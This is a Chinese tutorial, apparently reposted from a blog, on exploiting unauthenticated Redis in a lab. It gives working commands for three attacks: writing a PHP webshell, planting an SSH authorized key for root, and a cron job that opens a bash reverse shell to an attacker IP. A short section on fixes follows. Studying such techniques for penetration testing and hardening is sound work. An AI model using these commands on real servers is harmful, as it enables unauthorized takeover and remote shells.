ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

redis未授权反弹shell的三种方式

2021-12-25 20:34:24  阅读:166  来源: 互联网

标签:set Redis redis shell 三种 ssh root


一、介绍redis未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

 

二、漏洞产生条件

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(默认为空),可以免密码远程登录redis服务。 
(3)如果想高级利用,对方是以root身份启动的redis

 

三、环境准备

环境:Centos7、redis

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
yum install -y gcc
cd redis-4.0.8 make MALLOC=libc cd src && make install

 

配置redis.conf,把bind ip配置为0.0.0.0

启动redis必须使用 root 权限启动,否则save时会报错

启动redis
sudo ./redis-server ../redis.conf

kali linux 安装redis

sudo apt-get instlal redis-tools -y

 

四、利用过程

redis-cli -h 192.168.110.133

4.1. 数据泄露

获取所有的key值 keys *

keys *

 

4.2. 系统信息泄露

info 命令可以看到redis的版本、系统内核版本、配置文件路径等信息

 

4.3.  写文件GetShell

在Web目录中写入webshell


前提条件:已知网站目录的绝对路径,并且具有读写权限

getshell

  • 写入shell
# 写入一个string内容
set shell "<?php @assert($_POST[cc]);?>"

# 设置备份目录

config set dir /var/www/html/

# 设置备份文件名

config set dbfilename shell.php

# 保存文件到本地

save

 

连接,没问题。

4.4. 写入SSH公钥直接SSH连接

要钱:

  • 本地生成公钥和私钥
  • 将公钥写入到目标的.ssh文件夹
  • ssh 连接

kail攻击机默认不开ssh,没有.ssh目录,需要手动操作(配置sshd_config连接即可)。

 

执行:ssh localhost  生成 .ssh 目录

先切换为root用户,如果su验证失败,先passwd root给root设置一个密码

执行:ssh localhost  生成 .ssh 目录
验证下root的密码,当前目录就会有一个.ssh目录了(如果靶机也没有.ssh目录,同下操作方式。)

 

 

生成公钥跟私钥。

ssh-keygen -t rsa  //执行生成key命令

id_rsa  #私钥

id_rsa.pub  #公钥

切换shell工具去使用,查看下公钥内容,最后那一串用户名为root。

 

# 备份文件目录设置为对应的 .ssh,一般默认为 /root/.ssh/
config set dir /root/.ssh/

config set dbfilename authorized_keys

# 保存key的时候加上两个`\n`是为了避免和Redis里其他缓存数据混合

set key "\n\n\生成的公钥n\n"

save

 

接下来直接通过私钥去进行连接ssh,不需要验证密码。

ssh -i id_rsa root@192.168.110.133

 

 连接上了,顺便执行了一个whoami,ifconfig。

 

4.5. 写入计划任务(corntab)反弹shell

执行命令

和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是test用户 set dbfilename test

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
config set dir /var/spool/cron/ config set dbfilename root save

过一会shell就弹过来了。

 

高级利用:

1、主从复制 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

2、模块加载执行命令

五、漏洞修复方式

1. 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 1... 2. 设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass"... 3. 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器; 4. 修改Redis默认端口,将默认的6379端口修改为其他端口;

标签:set,Redis,redis,shell,三种,ssh,root
来源: https://www.cnblogs.com/miruier/p/14497405.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有